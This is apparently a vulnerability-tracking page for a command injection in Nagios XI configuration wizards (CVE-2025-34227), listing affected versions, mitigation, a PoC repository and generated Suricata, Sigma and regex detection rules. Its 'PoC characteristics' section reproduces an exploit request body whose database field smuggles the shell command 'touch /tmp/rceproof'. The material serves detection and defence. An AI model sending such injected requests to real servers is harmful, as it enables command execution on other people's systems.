Nagios XI
Nagios XI < 2026R1 Configuration Wizard Authenticated Command Injection
Nagios XI < 2026R1 is vulnerable to an authenticated command injection vulnerability within the MongoDB Database, MySQL Query, MySQL Server, Postgres Server, and Postgres Query wizards. It is possible to inject shell characters into arguments provided to the service and execute arbitrary system commands on the underlying host as the `nagios` user.
Affected versions and mitigation
From the CVE record and the vendor's references.Affected
- < 2026R1
Fixed in 2026R1
Mitigation
Upgrade Nagios XI to 2026R1 or later.
References
- Vendor advisory nagios.com/changelog
- Vendor advisory nagios.com/products/security
Timeline
Days relative to CVE publicationFirst public PoC 51 days after publication; not in CISA KEV. First PoC: mcorybillington/CVE-2025-34227_Nagios-XI-Command-Injection-Configuration-Wizard (created 15 Nov 2025, found by us: backfilled).
PoC repositories
Found on GitHub.1 PoCs
PoCs 1
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| mcorybillington/CVE-2025-34227_Nagios-XI-Command-Injection-Configuration-Wizard | 15 Nov 2025 +51 d | 0 | PoC |
Only PoCs count toward the first-PoC date and the characteristics below. Do not run PoC code from unknown sources.
Other public exploits
Exploit-DB, Metasploit and nuclei count as public PoCs. Exploit-tagged references from the CVE record and NVD are links only. None of these are analysed by us.| Source | Title | Published | Found by us |
|---|---|---|---|
| CVE record (tagged exploit) | https://theyhack.me/CVE-2025-34227-Nagios-XI-Wizard-Command-Injection/ | unknown | 14 Nov 2026 |
PoC characteristics
What to hunt for in your logs · from 1 PoC repoPOST /nagiosxi/config/monitoringwizard.php
- Key headers
Cookie: nagiosxi={var}- Body markers
update=1nsp=step=3nextstep=5wizard=mysqlquerytpl=hostname=localhostoperation=selectedhostconfig=services_serial=serviceargs_serial=config_serial=ip_address=127.0.0.1port=3306username=testpassword=testdatabase=information_schema;touch /tmp/rceproof;queryname=curl RCE servicequery=SELECT 1warning=50check_interval=1retry_interval=1critical=200finishButton=inapplication/x-www-form-urlencoded- Ports
- 8080
- Seen in
- 1 repo: mcorybillington/CVE-2025-34227_Nagios-XI-Command-Injection-Configuration-Wizard
- Evidence
- mcorybillington/CVE-2025-34227_Nagios-XI-Command-Injection-Configuration-Wizard/README.md:12
Regex
Generated from PoC characteristics; not yet reviewed. Matches the request path and query.
(?i)^/nagiosxi/config/monitoringwizard\.php(?:[?#].*)?$
Suricata
Template generated from PoC characteristics. Review before deploying.
alert http any any -> $HOME_NET [8080] (msg:"GG PoC-Monitor CVE-2025-34227 Nagios Nagios XI exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/nagiosxi/config/monitoringwizard.php"; http.header; content:"Cookie: nagiosxi="; nocase; http.request_body; content:"update=1"; http.request_body; content:"nsp="; http.request_body; content:"step=3"; http.request_body; content:"nextstep=5"; http.request_body; content:"wizard=mysqlquery"; http.request_body; content:"tpl="; http.request_body; content:"hostname=localhost"; http.request_body; content:"operation="; http.request_body; content:"selectedhostconfig="; http.request_body; content:"services_serial="; http.request_body; content:"serviceargs_serial="; http.request_body; content:"config_serial="; http.request_body; content:"ip_address=127.0.0.1"; http.request_body; content:"port=3306"; http.request_body; content:"username=test"; http.request_body; content:"password=test"; http.request_body; content:"database=information_schema|3b|touch /tmp/rceproof|3b|"; http.request_body; content:"queryname=curl RCE service"; http.request_body; content:"query=SELECT 1"; http.request_body; content:"warning=50"; http.request_body; content:"check_interval=1"; http.request_body; content:"retry_interval=1"; http.request_body; content:"critical=200"; http.request_body; content:"finishButton="; reference:url,poc.griffinguard.io/cve/CVE-2025-34227; classtype:web-application-attack; sid:9854872; rev:1;)
Sigma
Template generated from PoC characteristics. Review before deploying.
title: Nagios Nagios XI exploit attempt (CVE-2025-34227)
id: gg-pocmon-cve-2025-34227-9854872
status: experimental
description: Request pattern taken from public PoCs for CVE-2025-34227. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2025-34227
logsource:
category: webserver
detection:
selection:
cs-method: POST
cs-uri-stem|contains|all:
- '/nagiosxi/config/monitoringwizard.php'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: high
tags:
- attack.initial_access
- attack.t1190
- cve.2025.34227